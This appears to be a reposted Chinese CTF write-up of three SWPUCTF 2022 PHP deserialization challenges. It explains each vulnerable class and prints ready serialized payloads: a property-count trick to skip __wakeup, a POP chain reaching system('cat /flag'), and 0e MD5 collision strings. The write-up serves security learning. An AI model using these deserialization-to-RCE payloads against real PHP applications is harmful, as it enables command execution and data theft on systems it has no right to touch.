[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)

[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;  
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__; 
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php    flag在fllllllag.php文件里
    }
}
if (isset($_REQUEST['x'])) {        
    @unserialize($_REQUEST['x']);    //将x反序列化输出
} else {
    highlight_file(__FILE__);
}

因为flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化

对x进行序列化操作:

<?php
class X
{
    public $x ='fllllllag.php'; 	
}
$a=new X();
echo serialize($a);
?>

//输出:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

绕过__wakeup()函数,构造payload:        得到flag

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

__wakeup()函数漏洞原理:

当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

 [SWPUCTF 2022 新生赛]1z_unserialize

<?php

//包含了一个名为lyh的类,该类有公共属性:url、lt和lly 
class lyh{            
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()       //魔术方法__destruct(),在对象被销毁时调用
     {
        $a = $this->lt;          
        //尝试执行一个由$this->lt引用的函数,并将$this->lly作为参数传递给该函数。    
        $a($this->lly);           
     }
    
    
}
unserialize($_POST['nss']);       //从POST请求中的nss参数读取序列化的数据,并进行反序列化操作
highlight_file(__FILE__);
 
?>

赋值执行RCE:

直接将 $a 赋值为 system ,即将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值任意命令执行RCE。

将$this->lly赋值成ls /查看根目录,POST传参nss发现存在flag文件。

将$this->lly赋值成cat /flag读取flag。

<?php
class lyh
{
    public $url = 'NSSCTF.com';
    public $lt="system";
    public $lly="cat /flag";
 
}
$a=new lyh();
echo serialize($a);
?>

//输出:O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

php反序列化之pop链构造

做pop类题目要紧盯魔术方法。

需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。

在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。

[SWPUCTF 2022 新生赛]ez_1zpop

代码审计

<?php
error_reporting(0);
class dxg                      //定义类dxg,其中只有一个方法fmm()
{
   function fmm()             
   {
      return "nonono";
   }
}

class lt                        //定义类lt,包含公共属性impo、md51、md52
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()       //__construct()类的构造函数,创建对象时触发 
   {
      $this->impo = new dxg;    //实例化了dxg类的对象并赋值给impo属性
   }
   function __wakeup()          //__wakeup()方法在反序列化对象时被调用
   {
      $this->impo = new dxg;    //也实例化了dxg类的对象,并返回fmm()方法的结果
      return $this->impo->fmm();
   }

   function __toString()        //__toString()把对象当成字符串调用时触发
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm(); //返回impo属性的fmm()方法的结果
   }
   function __destruct()        //__destruct()方法在对象销毁前被调用,它会调用__toString()方法并输出结果。 
   {
      echo $this;
   }
}

class fin                        //定义类fin,包含公共属性a和一个方法fmm()
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;            //fmm()方法调用了属性a所指向的函数,并将属性title作为参数传递。
      $b($this->title);  
   }
}

if (isset($_GET['NSS'])) {     //检查是否存在$_GET['NSS']参数,存在,对NSS进行反序列化
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

如果$this->impo 已设置,并且 $this->md51 = $this->md52 的 MD5 哈希值,同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。

function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }

0e绕过MD5弱比较:

令md51='s155964671a';        md52='s214587387a';

构造pop链:先把用到的类写出来,形成一个框架,然后补充类中的变量,再将用到的类进行实例化。

<?php
class lt
{
   #设置 $this->md51 = $this->md52 的 MD5 哈希值
   public $impo='hi';
   public $md51='s155964671a';
   public $md52='s214587387a';
}
class fin
{
   #赋值执行RCE:$a="system",$title="cat /flag"
   public $a='system';
   public $url = 'https://www.ctfer.vip';
   public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>

//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

得到输出后,记得绕过wakeup(),GTE传参NSS构造payload:                得到flag

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/703256.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

普涨和补涨—2024年上半年全球投资趋势

全球大宗商品价格处在上涨周期&#xff0c;东吴证券认为上游能源行业股价还有继续上涨的空间。随着6月全球股指进一步上涨&#xff0c;预计港股可能还会迎来补涨行情。 一、我们观察的全球投资趋势&#xff1a; 1、全球股指普涨&补涨。全球风险资产进入2024年后普遍上涨&am…

【Apache Doris】周FAQ集锦:第 5 期

【Apache Doris】周FAQ集锦&#xff1a;第 5 期 SQL问题数据操作问题运维常见问题其它问题关于社区 欢迎查阅本周的 Apache Doris 社区 FAQ 栏目&#xff01; 在这个栏目中&#xff0c;每周将筛选社区反馈的热门问题和话题&#xff0c;重点回答并进行深入探讨。旨在为广大用户和…

bugku---misc---easy_nbt

1、题目描述 2、下载附件&#xff0c;解压之后得到 3、查找资料发现&#xff1a;NBT文件是Minecraft游戏数据文件&#xff0c;其中包含以命名二进制标签(NBT)格式保存的数据。这种格式用于存储大量二进制数据&#xff0c;通常包含有关Minecraft世界的信息。NBT数据通常以.dat文…

机器学习——集成学习和梯度提升决策树

集成学习 不同的算法都可以对解决同一个问题&#xff0c;但是可能准确率不同&#xff0c;集成学习就是不同算法按照某种组合来解决问题&#xff0c;使得准确率提升。 那怎么组合算法呢&#xff1f; 自举聚合算法**&#xff08;bagging&#xff09;** 顾名思义是 自举聚合 自举…

Vue3中子组件挂载问题,父组件修改子组件值的问题

1&#xff0c;首先在父组件导入子组件 挂载 2&#xff0c;传递值给子组件 3&#xff0c;子组件

源代码加密的十个关键点

源代码加密是一种安全措施&#xff0c;其目的是为了保护软件的源代码不被未授权的个人或实体访问或泄露。源代码是软件应用程序的基础&#xff0c;它包含了程序的逻辑结构、核心算法以及设计理念。由于源代码承载了软件的核心知识和创新&#xff0c;因此它具有极高的商业价值和…

网络编程1--初识网络

1.1 网络 单机时代 ----------> 局域网时代 ----------> 广域网时代 -------------> 移动互联网时代 1、单机时代&#xff1a;即主机之间无法通信&#xff0c;只能访问自己电脑上的内容&#xff08;只能玩一些单机游戏&#xff0c;扫雷&#xff0c;蜘蛛纸牌.....&am…

LabVIEW与Python的比较及联合开发

LabVIEW和Python在工业自动化和数据处理领域各具优势&#xff0c;联合开发可以充分发挥两者的优点。本文将从语言特性、开发效率、应用场景等多个角度进行比较&#xff0c;并详细介绍如何实现LabVIEW与Python的联合开发。 语言特性 LabVIEW 图形化编程&#xff1a;LabVIEW使用…

鸿蒙轻内核A核源码分析系列五 虚实映射(3)虚拟物理内存映射

3、虚实映射函数LOS_ArchMmuMap 从上文可知&#xff0c;用户程序加载启动时&#xff0c;会将代码段、数据段映射进虚拟内存空间&#xff0c;此时并没有物理页做实际的映射&#xff1b;程序执行时&#xff0c;如下图&#xff08;图片来自OpenHarmony docs开源站点&#xff09;粗…

Java到AI大模型,我为什么选择的后者

我为什么从Java转到AI大模型 在编程的海洋里&#xff0c;Java一直是我信赖的“小船”&#xff0c;载着我航行在代码的世界中。然而&#xff0c;随着行业的不断发展和变化&#xff0c;我开始感受到了一丝的迷茫和不安。我开始担心&#xff0c;随着技术的不断更新&#xff0c;Ja…

支付平台界面感知评估

目标&#xff1a; 了解本地用户在本地语言下对产品用户界面 (UI) 的感受和体验&#xff1a; 界面的目的是否对本地用户清晰&#xff0c;并且是否符合本地文化和国家标准&#xff1b;界面中的文本是否正确显示&#xff0c;是否存在语法、拼写或其他错误&#xff0c;包括品牌一致…

Vue21-列表排序

一、需求 二、解决方式 <body><div id"root"><h2>人员列表</h2><input type"text" placeholder"请输入" v-model"keyword"><button click"sortType 1">年龄升序</button><b…

[AI资讯·0612] AI测试高考物理题,最高准确率100%,OpenAI与苹果合作,将ChatGPT融入系统中,大模型在物理领域应用潜力显现

AI资讯 国产AI大战高考物理&#xff0c;第1题全对&#xff0c;第2题开始放飞终于放大招了&#xff0c;2024WWDC&#xff0c;苹果开启AI反击战苹果一夜重塑iPhone&#xff01;GPT-4o加持Siri&#xff0c;AI深入所有APPOpenAI确认苹果集成ChatGPT 还任命了两位新高管GPT-4搞不定…

中文藏文翻译怎么在线翻译?通过这些方法

中文藏文翻译怎么在线翻译&#xff1f;随着全球化的加速和跨文化交流的日益频繁&#xff0c;中文与藏文之间的翻译需求逐渐增加。为了满足这一需求&#xff0c;各种在线翻译工具和方法应运而生。下面&#xff0c;本文将详细介绍三种中文藏文在线翻译的方法&#xff0c;帮助用户…

yolov3 详解

文章目录 1、yolov3原理2、损失函数3、yolov3改进4、使用opencv实现yolov35、卷积神经网络工作原理 1、yolov3原理 参考视频 darknet53&#xff1a;52个卷积层和1个全联接层 输入图像为416416 1313 -》 下采样32倍 2626 -》 下采样16倍 5252 -》 下采样8倍 由标注框中心点落在…

图形学初识--定义摄像机类(实战)

文章目录 前言正文定义摄像机的操作方式键盘操作鼠标操作 定义摄像机类核心数据视图矩阵回顾&#xff1a;模拟摄像机的移动模拟摄像机的旋转 结尾&#xff1a;喜欢的小伙伴点点关注赞哦! 前言 前面一些章节讲解了图形学的比较原理性的内容&#xff0c;这一章节咱就实战一下&am…

Vue2后台管理:项目开发全流程(一)

​&#x1f308;个人主页&#xff1a;前端青山 &#x1f525;系列专栏&#xff1a;vue篇 &#x1f516;人终将被年少不可得之物困其一生 依旧青山,本期给大家带来vue篇专栏内容:Vue2后台管理&#xff1a;项目开发全流程(一) 目录 Vue项目开发 项目架构搭建 1、创建项目 2、…

SolidWorks 2016 SP5安装教程

软件介绍 Solidworks软件功能强大&#xff0c;组件繁多。 Solidworks有功能强大、易学易用和技术创新三大特点&#xff0c;这使得SolidWorks 成为领先的、主流的三维CAD解决方案。 SolidWorks 能够提供不同的设计方案、减少设计过程中的错误以及提高产品质量。SolidWorks 不仅…

开发移动端常见的问题:VW适配问题,基于 postcss 插件 实现项目vw适配

当你开发移动端的时候有一个问题是避免不了的&#xff0c;那就是当屏幕大小无论怎么变化时&#xff0c;内部尺寸也要随之发生改变&#xff0c;也就是适配问题。这里我们讲的是最新的VW适配&#xff0c;也就是用vw作为单位&#xff0c;100vw是整个页面的大小。而在开发的设计图中…

Mysql学习(九)——存储引擎

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 七、存储引擎7.1 MySQL体系结构7.2 存储引擎简介7.3 存储引擎特点7.4 存储引擎选择7.5 总结 七、存储引擎 7.1 MySQL体系结构 连接层&#xff1a;最上层是一些客户…